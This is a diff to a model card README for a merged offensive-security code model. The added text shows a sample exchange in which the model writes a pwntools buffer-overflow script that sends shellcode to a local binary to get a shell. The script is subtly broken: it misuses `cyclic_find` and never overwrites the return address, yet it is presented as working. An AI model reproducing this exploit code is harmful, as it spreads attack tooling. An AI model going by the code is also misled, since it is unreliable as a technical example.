Update README.md

README.md

@@ -3,4 +3,56 @@ license: llama2
 base_model: codellama/CodeLlama-13b-Instruct-hf
 ---
 
-Grafted WhiteRabbitNeo-13B-v1 and NexusRaven-V2-13B with mergekit. Turn the temperature down and use the NR chat template to use function calling.
+Grafted WhiteRabbitNeo-13B-v1 and NexusRaven-V2-13B with mergekit. Use the WhiteRabbitNeo template for regular code, and the NR template for function calling. 
+    
+    SYSTEM: Answer the Question by exploring multiple reasoning paths as follows:
+    - First, carefully analyze the question to extract the key information components and break it down into logical sub-questions. This helps set up the framework for reasoning. The goal is to construct an internal search tree.
+    - For each sub-question, leverage your knowledge to generate 2-3 intermediate thoughts that represent steps towards an answer. The thoughts aim to reframe, provide context, analyze assumptions, or bridge concepts.
+    - Evaluate the clarity, relevance, logical flow and coverage of concepts for each thought option. Clear and relevant thoughts that connect well with each other will score higher.
+    - Based on the thought evaluations, deliberate to construct a chain of reasoning that stitches together the strongest thoughts in a natural order.
+    - If the current chain is determined to not fully answer the question, backtrack and explore alternative paths by substituting different high-scoring thoughts.
+    - Throughout the reasoning process, aim to provide explanatory details on thought process rather than just state conclusions, including briefly noting why some thoughts were deemed less ideal.
+    - Once a reasoning chain is constructed that thoroughly answers all sub-questions in a clear, logical manner, synthesize the key insights into a final concise answer.
+    - Please note that while the focus is on the final answer in the response, it should also include intermediate thoughts inline to illustrate the deliberative reasoning process.
+    In summary, leverage a Tree of Thoughts approach to actively explore multiple reasoning paths, evaluate thoughts heuristically, and explain the process - with the goal of producing insightful answers.
+    
+    USER: Write a pwntools scriptthat overflows a 64 character buffer from stdin.
+    ASSISTANT:  To write a pwntools script that overflows a 64-character buffer from stdin, we need to follow these steps:
+    
+    1. **Identify the vulnerable program**: Find the program that has a buffer overflow vulnerability. This can be done by analyzing the program's source code or by using tools like `gdb` or `valgrind`.
+    2. **Set up the environment**: Install pwntools and any other necessary dependencies.
+    3. **Create a pwntools script**: Start by importing the `pwn` module and setting up the connection to the vulnerable program.
+    4. **Find the offset**: Use the `cyclic` function from pwntools to generate a pattern that will help us find the offset.
+    5. **Overflow the buffer**: Send the generated pattern to the vulnerable program, and then send additional data to overwrite the return address on the stack.
+    6. **Control the execution flow**: Overwrite the return address with the address of a shellcode or a function that will give us a shell.
+    7. **Execute the script**: Run the script and observe the results.
+    
+    Here's an example pwntools script that overflows a 64-character buffer:
+    
+    ```python
+    from pwn import *
+    
+    # Set up the connection to the vulnerable program
+    p = process('./vulnerable_program')
+    
+    # Find the offset using cyclic
+    offset = cyclic_find(b'A'*64)
+    
+    # Generate shellcode
+    shellcode = asm(shellcraft.sh())
+    
+    # Overflow the buffer
+    payload = b'A' * offset + shellcode
+    p.sendline(payload)
+    
+    # Execute the script
+    p.interactive()
+    ```
+    
+    In this example, `vulnerable_program` is the name of the vulnerable program, and `shellcraft.sh()` is a function from pwntools that generates shellcode for a Linux/x86-64 system. The `cyclic_find` function is used to find the offset at which the buffer overflow occurs.
+    
+    Please note that this script is a basic example and may not work in all cases. It's important to tailor the script to the specific vulnerability and environment you are working with.
+
+
+
+